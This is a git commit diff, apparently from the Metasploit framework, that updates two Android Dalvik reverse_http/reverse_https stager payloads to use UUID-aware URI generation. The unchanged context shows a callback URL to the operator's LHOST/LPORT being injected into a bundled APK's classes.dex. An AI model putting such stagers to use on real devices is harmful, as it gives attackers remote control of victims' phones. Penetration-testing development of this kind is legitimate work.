use uuid aware generate_uri_uuid_mode

bug/bundler_fix
Tim 2015-05-22 05:21:08 +01:00
parent 96a30118e2
commit 7a9e875a25
No known key found for this signature in database
GPG Key ID: 217FBA50ABBAABEF
2 changed files with 6 additions and 2 deletions

View File

@ -5,6 +5,7 @@
require 'msf/core'
require 'msf/core/handler/reverse_http'
require 'msf/core/payload/uuid_options'
module Metasploit3
@ -12,6 +13,7 @@ module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Dalvik
include Msf::Payload::UUIDOptions
def initialize(info = {})
super(merge_info(info,
@ -37,7 +39,7 @@ module Metasploit3
lurl = "ZZZZhttp://#{datastore["LHOST"]}"
lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
lurl << "/"
lurl << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len)
lurl << generate_uri_uuid_mode(:init_java, uri_req_len)
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)

View File

@ -5,6 +5,7 @@
require 'msf/core'
require 'msf/core/handler/reverse_https'
require 'msf/core/payload/uuid_options'
module Metasploit3
@ -12,6 +13,7 @@ module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Dalvik
include Msf::Payload::UUIDOptions
def initialize(info = {})
super(merge_info(info,
@ -37,7 +39,7 @@ module Metasploit3
lurl = "ZZZZhttps://#{datastore["LHOST"]}"
lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
lurl << "/"
lurl << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len)
lurl << generate_uri_uuid_mode(:init_java, uri_req_len)
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)